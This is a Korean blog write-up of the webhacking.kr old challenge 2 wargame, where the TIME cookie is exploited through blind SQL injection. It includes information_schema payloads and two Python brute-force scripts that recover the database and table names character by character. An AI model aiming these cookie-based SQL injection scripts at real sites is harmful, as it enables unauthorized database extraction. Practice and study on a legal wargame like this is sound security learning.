
2번 문제
Your IP is logging..이라고 적혀있다.

개발자도구로 숨겨져 있는 부분을 확인했다. admin.php로 접속하면 혼난다고 함,,

url에 admin.php 부분만 추가해주면 된다.

비밀번호를 추가하라고 한다.

별다른 코드는 없는것으로 보인다.

감이 안잡혀서 다시 원래 페이지로 가서 코드를 살펴봤는데, 맨 위에 날짜와 시간이 적혀있었다.
2070-09-29 11:30:25 (원래 이 시간이 아닌데 잘못 설정해서^^;)
내가 접속한 시간을 로깅하고 있는거 같다.

TIME 의 쿠키값을 변경하니까 시간이 계속해서 변경된다.

값을 0으로 입력했는데, 분과 초가 0으로 초기화됐다.
음.. 근데 아무래도 Blind injection을 사용해야하는거 같다. 그런데 테이블 명도 모르고.. 아무것도 모름
일단 DB안에 몇개의 테이블이 있는지 검색해봤다.

(select count(table_name) from information_schema.tables where table_schema=database())

끝에 2라고 하는걸 보면 2개의 테이블이 있는거 같다.

그리고 첫번째 테이블명의 길이가 몇인지 알아냈다.

13개라고 함.

그럼 두번째 테이블 길이는?

3개!

2번째 테이블 길이가 3개니까 이거 먼저 확인하면

1:48이면 108번이니까 108은 소문자 l이다.

2번째 글자는 111, 즉 o

3번째 글자는 103, 즉 g이다.
합하면 log라는 것을 알 수 있다.
그렇다면 1번째 테이블 (13글자)도 동일하게 blind sql injection을 사용하면 되는데, 이렇게 하나하나 수동으로 확인하면 시간이 많이 걸린다. 이럴땐 파이썬으로 자동화 코드를 만들어 실행하는데 나는 파이썬 사용법을 몰라서 다른분들의 풀이를 참고해 한줄 한줄 공부했다.
[webhacking.kr - old] 2번
주소 : https://webhacking.kr/old.php Webhacking.kr webhacking.kr [ 풀이 ] 해당 페이지에서 입력창, 하이퍼링크 등이 없으니, 소스코드를 살펴보았다. 주석처리로, admin.php페이지가 존재한다는 것을 알..
power-girl0-0.tistory.com
이 분 글을 참조했다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
db = ''
bye = 0
for i in range(1,50):
if bye == 1:
break
for j in range(33,133):
c = {"cookie":"PHPSESSID=내 세션코드; time=0||if(ord(substr((select database()),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
#print("i : {}, j : {}".format(i, j))
if res.text.find("09:00:01") != -1:
db += chr(j)
print(db)
break
# 문자열을 찾지 못하면 -1을 반환한다.
# 참이면, 09:00:01로 1초를 반환하고 false일시 0초를 반환한다.
if j == 132:
# 마지막까지 갔다는 것은 db이름 끝까지 구해졌다는 의미이다.
bye=1
break
print("database : {}".format(db))
해당 작성자 분은 일단 데이터베이스명을 알아냈다. 그렇게 하면 테이블명을 더 쉽게 찾을 수 있기 때문!
봐도 봐도 적응이 안되는 파이썬 코드..

그렇게 해서 나온게 chall2이다.
import requests
url = "https://webhacking.kr/challenge/web-02/"
first_table=''
bye = 0
for i in range(1,14):
if bye == 1:
break
for j in range(33,133):
c = {"cookie":"PHPSESSID=세션id;time=0|| if(ord(substr((select table_name from information_schema.tables where table_schema='chall2' limit 0,1),{},1))={},1,0)".format(i,j)}
res = requests.get(url, cookies=c)
if res.text.find('09:00:01') != -1 :
print(chr(j))
first_table += chr(j)
break
if j == 132:
bye = 1
break
print("first table name : {}".format(first_table))
꽤 시간이 많이 걸린다.

이 테이블명을 알아내면 그 다음으론 컬럼수를 알아내서 pw를 담고 있는 컬럼을 찾아내고, pw 컬럼 내용을 읽으면 비밀번호를 찾을 수 있을 것이다. 저 블로그로부터 모든 내용을 가져올 순 없으니 뒷부분은 개인적으로 풀이했다.

이 부분은 계속 공부하는걸로...
'CTF, 워게임 문제 풀이 > webhacking.kr' 카테고리의 다른 글
| Webhacking.kr 7번 문제 풀이 (0) | 2022.08.23 |
|---|---|
| Webhacking.kr 6번 문제 풀이 (0) | 2022.08.23 |
| Webhacking.kr 5번 문제 풀이 (0) | 2022.08.22 |
| Webhacking.kr old 3번 문제 풀이 (0) | 2022.08.22 |
| Webhacking.kr old 1번 문제 풀이 (0) | 2022.08.21 |
댓글